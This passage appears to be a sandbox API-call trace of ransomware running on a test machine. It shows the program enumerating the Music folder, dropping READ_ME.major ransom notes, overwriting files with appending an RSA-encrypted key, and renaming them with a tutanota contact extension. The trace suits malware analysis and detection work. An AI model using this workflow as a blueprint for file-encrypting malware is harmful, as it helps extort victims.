lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.930] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.930] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.931] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.931] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="2kut87ax591tn9kvIBSOVaCAj0I5+RBuHxUxh5sfQ/YPQto/bHqrYj0lGKv61q4q\ntfE2Xchkq5oCUGoyPdqLTpkvBkmjhrQUrCgZ3AuKBibMJA0PaTIy4vj1ybp3WBQg\n8cpoXDhwTezwNhdSdxPF1dYLQnltcFsSDbwIy6DmZJ+h4PltvUNcuigRiWRia3nP\nMX+fX1S3obg/OMEH/Qvu1XPbWJ26NN3TmOP6yj5aGoezqHIM30sChkqobvN2LyTQ\np1zPONJqB5YufmAhS+vltbOeFS0jPbQLvifhMzP3AbNKrdvF2kLNs2ioeMD0Bkyd\n2fF+53AS1G6AEdIIxn58PQ==\n", pcchString=0x2e3f9a8) returned 1 [0147.931] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.932] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.932] WriteFile (in: hFile=0x5f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.932] CloseHandle (hObject=0x5f4) returned 1 [0147.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.932] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\links\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Links\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\links\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0147.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0147.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0147.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef20 | out: hHeap=0x570000) returned 1 [0147.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaf8 | out: hHeap=0x570000) returned 1 [0147.935] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcf618002, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60eb28 [0147.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0147.935] GetLastError () returned 0x0 [0147.935] SetLastError (dwErrCode=0x0) [0147.935] GetLastError () returned 0x0 [0147.935] SetLastError (dwErrCode=0x0) [0147.935] GetLastError () returned 0x0 [0147.935] SetLastError (dwErrCode=0x0) [0147.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0147.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eba8 | out: hHeap=0x570000) returned 1 [0147.935] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcf618002, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0147.935] SetLastError (dwErrCode=0x0) [0147.935] GetLastError () returned 0x0 [0147.935] SetLastError (dwErrCode=0x0) [0147.936] GetLastError () returned 0x0 [0147.936] SetLastError (dwErrCode=0x0) [0147.936] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41094910, ftCreationTime.dwHighDateTime=0x1d4cdd6, ftLastAccessTime.dwLowDateTime=0x52746ca0, ftLastAccessTime.dwHighDateTime=0x1d4cb9e, ftLastWriteTime.dwLowDateTime=0x52746ca0, ftLastWriteTime.dwHighDateTime=0x1d4cb9e, nFileSizeHigh=0x0, nFileSizeLow=0x114a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="3i3wn RapYG-Uaf.m4a", cAlternateFileName="3I3WNR~1.M4A")) returned 1 [0147.936] SetLastError (dwErrCode=0x0) [0147.936] GetLastError () returned 0x0 [0147.936] SetLastError (dwErrCode=0x0) [0147.936] SetLastError (dwErrCode=0x0) [0147.936] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc011370, ftCreationTime.dwHighDateTime=0x1d4cfbe, ftLastAccessTime.dwLowDateTime=0x54e61ce0, ftLastAccessTime.dwHighDateTime=0x1d4c5e0, ftLastWriteTime.dwLowDateTime=0x54e61ce0, ftLastWriteTime.dwHighDateTime=0x1d4c5e0, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="78gD k.mp3", cAlternateFileName="78GDK~1.MP3")) returned 1 [0147.936] SetLastError (dwErrCode=0x0) [0147.936] GetLastError () returned 0x0 [0147.936] SetLastError (dwErrCode=0x0) [0147.936] GetLastError () returned 0x0 [0147.936] SetLastError (dwErrCode=0x0) [0147.936] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe029c4f0, ftCreationTime.dwHighDateTime=0x1d4cea0, ftLastAccessTime.dwLowDateTime=0x5b109870, ftLastAccessTime.dwHighDateTime=0x1d4d012, ftLastWriteTime.dwLowDateTime=0x5b109870, ftLastWriteTime.dwHighDateTime=0x1d4d012, nFileSizeHigh=0x0, nFileSizeLow=0x10e98, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="8ON0Xb4CPpIa.wav", cAlternateFileName="8ON0XB~1.WAV")) returned 1 [0147.936] SetLastError (dwErrCode=0x0) [0147.936] GetLastError () returned 0x0 [0147.936] SetLastError (dwErrCode=0x0) [0147.936] SetLastError (dwErrCode=0x0) [0147.936] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab79db00, ftCreationTime.dwHighDateTime=0x1d4c6e4, ftLastAccessTime.dwLowDateTime=0x38999a0, ftLastAccessTime.dwHighDateTime=0x1d4cb3d, ftLastWriteTime.dwLowDateTime=0x38999a0, ftLastWriteTime.dwHighDateTime=0x1d4cb3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="CJCEOTnU", cAlternateFileName="")) returned 1 [0147.936] SetLastError (dwErrCode=0x0) [0147.936] GetLastError () returned 0x0 [0147.936] SetLastError (dwErrCode=0x0) [0147.936] GetLastError () returned 0x0 [0147.936] SetLastError (dwErrCode=0x0) [0147.937] SetLastError (dwErrCode=0x0) [0147.937] GetLastError () returned 0x0 [0147.937] SetLastError (dwErrCode=0x0) [0147.937] SetLastError (dwErrCode=0x0) [0147.937] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\music\\cjceotnu\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0147.957] WriteFile (in: hFile=0x5f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0147.983] CloseHandle (hObject=0x5f8) returned 1 [0147.984] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0147.984] SetLastError (dwErrCode=0x0) [0147.984] GetLastError () returned 0x0 [0147.984] SetLastError (dwErrCode=0x0) [0147.984] GetLastError () returned 0x0 [0147.984] SetLastError (dwErrCode=0x0) [0147.984] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49d23e40, ftCreationTime.dwHighDateTime=0x1d4ce39, ftLastAccessTime.dwLowDateTime=0x61b8f030, ftLastAccessTime.dwHighDateTime=0x1d4ce07, ftLastWriteTime.dwLowDateTime=0x61b8f030, ftLastWriteTime.dwHighDateTime=0x1d4ce07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="HFGXh7wtD7-UGQ8Fgf", cAlternateFileName="HFGXH7~1")) returned 1 [0147.984] SetLastError (dwErrCode=0x0) [0147.984] GetLastError () returned 0x0 [0147.984] SetLastError (dwErrCode=0x0) [0147.984] SetLastError (dwErrCode=0x0) [0147.984] SetLastError (dwErrCode=0x0) [0147.984] GetLastError () returned 0x0 [0147.984] SetLastError (dwErrCode=0x0) [0147.984] GetLastError () returned 0x0 [0147.984] SetLastError (dwErrCode=0x0) [0147.984] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0147.985] WriteFile (in: hFile=0x5f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0147.986] CloseHandle (hObject=0x5f8) returned 1 [0147.986] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d62d80, ftCreationTime.dwHighDateTime=0x1d4cff4, ftLastAccessTime.dwLowDateTime=0x1ede3320, ftLastAccessTime.dwHighDateTime=0x1d4ccc1, ftLastWriteTime.dwLowDateTime=0x1ede3320, ftLastWriteTime.dwHighDateTime=0x1d4ccc1, nFileSizeHigh=0x0, nFileSizeLow=0x5eb, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="J-wG9pFE4WWo.m4a", cAlternateFileName="J-WG9P~1.M4A")) returned 1 [0147.986] SetLastError (dwErrCode=0x0) [0147.986] GetLastError () returned 0x0 [0147.986] SetLastError (dwErrCode=0x0) [0147.986] SetLastError (dwErrCode=0x0) [0147.986] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81dd9e0, ftCreationTime.dwHighDateTime=0x1d4caea, ftLastAccessTime.dwLowDateTime=0x36d69770, ftLastAccessTime.dwHighDateTime=0x1d4c8a1, ftLastWriteTime.dwLowDateTime=0x36d69770, ftLastWriteTime.dwHighDateTime=0x1d4c8a1, nFileSizeHigh=0x0, nFileSizeLow=0x13bc3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="lWaPt4uX8vu3_v5.m4a", cAlternateFileName="LWAPT4~1.M4A")) returned 1 [0147.986] SetLastError (dwErrCode=0x0) [0147.986] GetLastError () returned 0x0 [0147.986] SetLastError (dwErrCode=0x0) [0147.986] SetLastError (dwErrCode=0x0) [0147.986] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd10918e0, ftCreationTime.dwHighDateTime=0x1d4c9cd, ftLastAccessTime.dwLowDateTime=0x2eb18b80, ftLastAccessTime.dwHighDateTime=0x1d4c65e, ftLastWriteTime.dwLowDateTime=0x2eb18b80, ftLastWriteTime.dwHighDateTime=0x1d4c65e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="rai3Ivo", cAlternateFileName="")) returned 1 [0147.986] SetLastError (dwErrCode=0x0) [0147.986] GetLastError () returned 0x0 [0147.987] SetLastError (dwErrCode=0x0) [0147.987] GetLastError () returned 0x0 [0147.987] SetLastError (dwErrCode=0x0) [0147.987] SetLastError (dwErrCode=0x0) [0147.987] GetLastError () returned 0x0 [0147.987] SetLastError (dwErrCode=0x0) [0147.987] SetLastError (dwErrCode=0x0) [0147.987] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0147.987] WriteFile (in: hFile=0x5f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0147.988] CloseHandle (hObject=0x5f8) returned 1 [0147.988] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152aa46e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152aa46e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x16e61c1a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0147.988] SetLastError (dwErrCode=0x0) [0147.988] GetLastError () returned 0x0 [0147.988] SetLastError (dwErrCode=0x0) [0147.989] SetLastError (dwErrCode=0x0) [0147.989] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297aa50, ftCreationTime.dwHighDateTime=0x1d4cf34, ftLastAccessTime.dwLowDateTime=0x37d87130, ftLastAccessTime.dwHighDateTime=0x1d4d11f, ftLastWriteTime.dwLowDateTime=0x37d87130, ftLastWriteTime.dwHighDateTime=0x1d4d11f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SIFlnPdoC-GGQ", cAlternateFileName="SIFLNP~1")) returned 1 [0147.989] SetLastError (dwErrCode=0x0) [0147.989] GetLastError () returned 0x0 [0147.989] SetLastError (dwErrCode=0x0) [0147.989] SetLastError (dwErrCode=0x0) [0147.989] SetLastError (dwErrCode=0x0) [0147.989] GetLastError () returned 0x0 [0147.989] SetLastError (dwErrCode=0x0) [0147.989] GetLastError () returned 0x0 [0147.989] SetLastError (dwErrCode=0x0) [0147.989] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0147.989] WriteFile (in: hFile=0x5f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0147.990] CloseHandle (hObject=0x5f8) returned 1 [0147.991] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5752240, ftCreationTime.dwHighDateTime=0x1d4d05a, ftLastAccessTime.dwLowDateTime=0x46ebc160, ftLastAccessTime.dwHighDateTime=0x1d4cd8f, ftLastWriteTime.dwLowDateTime=0x46ebc160, ftLastWriteTime.dwHighDateTime=0x1d4cd8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TvaUMz0SYA", cAlternateFileName="TVAUMZ~1")) returned 1 [0147.991] SetLastError (dwErrCode=0x0) [0147.991] GetLastError () returned 0x0 [0147.991] SetLastError (dwErrCode=0x0) [0147.991] GetLastError () returned 0x0 [0147.991] SetLastError (dwErrCode=0x0) [0147.991] SetLastError (dwErrCode=0x0) [0147.991] GetLastError () returned 0x0 [0147.991] SetLastError (dwErrCode=0x0) [0147.991] SetLastError (dwErrCode=0x0) [0147.991] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0147.998] WriteFile (in: hFile=0x5f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0147.999] CloseHandle (hObject=0x5f8) returned 1 [0147.999] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9286530, ftCreationTime.dwHighDateTime=0x1d4cbd2, ftLastAccessTime.dwLowDateTime=0xfe3a11f0, ftLastAccessTime.dwHighDateTime=0x1d4cd85, ftLastWriteTime.dwLowDateTime=0xfe3a11f0, ftLastWriteTime.dwHighDateTime=0x1d4cd85, nFileSizeHigh=0x0, nFileSizeLow=0xfb03, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="uv8e.wav", cAlternateFileName="")) returned 1 [0147.999] SetLastError (dwErrCode=0x0) [0147.999] GetLastError () returned 0x0 [0147.999] SetLastError (dwErrCode=0x0) [0147.999] GetLastError () returned 0x0 [0147.999] SetLastError (dwErrCode=0x0) [0147.999] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b5685b0, ftCreationTime.dwHighDateTime=0x1d4ca94, ftLastAccessTime.dwLowDateTime=0x58236d00, ftLastAccessTime.dwHighDateTime=0x1d4c7e2, ftLastWriteTime.dwLowDateTime=0x58236d00, ftLastWriteTime.dwHighDateTime=0x1d4c7e2, nFileSizeHigh=0x0, nFileSizeLow=0x11f5f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="z5CR7h5_U.mp3", cAlternateFileName="Z5CR7H~1.MP3")) returned 1 [0147.999] SetLastError (dwErrCode=0x0) [0147.999] GetLastError () returned 0x0 [0147.999] SetLastError (dwErrCode=0x0) [0147.999] SetLastError (dwErrCode=0x0) [0147.999] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac23a9e0, ftCreationTime.dwHighDateTime=0x1d4d1f8, ftLastAccessTime.dwLowDateTime=0x23659200, ftLastAccessTime.dwHighDateTime=0x1d4ccab, ftLastWriteTime.dwLowDateTime=0x23659200, ftLastWriteTime.dwHighDateTime=0x1d4ccab, nFileSizeHigh=0x0, nFileSizeLow=0x2fee, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_g9Q9vc.wav", cAlternateFileName="")) returned 1 [0148.000] SetLastError (dwErrCode=0x0) [0148.000] GetLastError () returned 0x0 [0148.000] SetLastError (dwErrCode=0x0) [0148.000] GetLastError () returned 0x0 [0148.000] SetLastError (dwErrCode=0x0) [0148.000] FindNextFileW (in: hFindFile=0x60eb28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac23a9e0, ftCreationTime.dwHighDateTime=0x1d4d1f8, ftLastAccessTime.dwLowDateTime=0x23659200, ftLastAccessTime.dwHighDateTime=0x1d4ccab, ftLastWriteTime.dwLowDateTime=0x23659200, ftLastWriteTime.dwHighDateTime=0x1d4ccab, nFileSizeHigh=0x0, nFileSizeLow=0x2fee, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_g9Q9vc.wav", cAlternateFileName="")) returned 0 [0148.000] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.000] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\_g9Q9vc.wav", dwFileAttributes=0x80) returned 1 [0148.000] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\_g9Q9vc.wav" (normalized: "c:\\users\\fd1hvy\\music\\_g9q9vc.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0148.000] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12270) returned 1 [0148.001] ReadFile (in: hFile=0x5f8, lpBuffer=0x631898, nNumberOfBytesToRead=0x2fee, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x2fee, lpOverlapped=0x0) returned 1 [0148.002] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-12270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.002] WriteFile (in: hFile=0x5f8, lpBuffer=0x634890*, nNumberOfBytesToWrite=0x2fee, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x634890*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2fee, lpOverlapped=0x0) returned 1 [0148.002] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2fee [0148.002] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.002] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.002] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.002] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.003] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.003] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="IC20lD9s3pzGGBcSixrAmvNUA3ryCQ/aWwJ7cgTZlkRK1Gxy69d4hzU3JxeEw75+\nDgLBWeUjO4niH21U2XcF6MrXuboXmKK6l9GY2Q73sjP9b/tprphxWNgDDjqkTIQI\nXNN9xssJkTY2Jye+2cU9/O4Wf8WTp51TNeC7aQEWI7U/FnUW2nv7S2xVapeeQlzl\n1Cbj1IImftqqTFGZjHmjrCC1mfYzrnCR1dY0sV+qI8FZ+NgMNvkHOLPu+RrAPfmz\nmlClwvCtElOkadiIBDQi3z5RbLIiKWTRLuIr+oof9Jpl9LFgzUtHvD3otNjSb2ul\n2WJTF4OjF6EDcgQP8ob3nA==\n", pcchString=0x2e3f9a8) returned 1 [0148.003] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.003] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.003] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.003] CloseHandle (hObject=0x5f8) returned 1 [0148.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.003] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\_g9Q9vc.wav" (normalized: "c:\\users\\fd1hvy\\music\\_g9q9vc.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\_g9Q9vc.wav.1506877342345.bmps@tutanota.com.major" (normalized: 